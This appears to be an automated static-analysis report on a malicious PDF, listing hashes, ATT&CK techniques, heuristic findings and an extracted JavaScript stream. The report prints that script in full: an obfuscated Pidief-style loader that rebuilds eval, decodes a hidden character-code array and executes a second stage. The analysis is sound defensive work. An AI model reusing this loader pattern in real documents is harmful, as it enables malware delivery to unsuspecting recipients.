Malicious PDF — malware analysis report

Static analysis result for SHA-256 6ea45d6934ba9858…

MALICIOUS

PDF

44.4 KB First seen: 2026-05-08
MD5: 312758b74e3a0df3ce2db21997fd0beb SHA-1: f0391049322d6b8abb1e27aa896e139b02c2b56d SHA-256: 6ea45d6934ba9858c990276f50de7da0213fb44a372ea89302d4f32886a575b2
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by heuristics as a loader. This script reconstructs and executes a second-stage payload, likely a downloader, based on its string manipulation and execution patterns. The ML classifier strongly indicates maliciousness, supporting the attack pattern of a malicious document delivered as an attachment.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF28 440 bytes
SHA-256: 60c59258b331175aff73f0152ff1ebeeecb63ed1a717f8a3df4035bc8bc7896e
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
lhebq='';
jno=('qwrwqr','tit');
e('kwwc=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
kmj=e('String.fr'+kwwc.substr(0,10));
ohs = e(kwwc.substr(10)['replace'](/u/g,','));
e('k=ohs.length');
for (i = 0; i < k; i+=2) {
	mmx = ohs[i+1] + ('erybjkerl',ohs[i]);
	lhebq += kmj(mmx);
}
e(lhebq);

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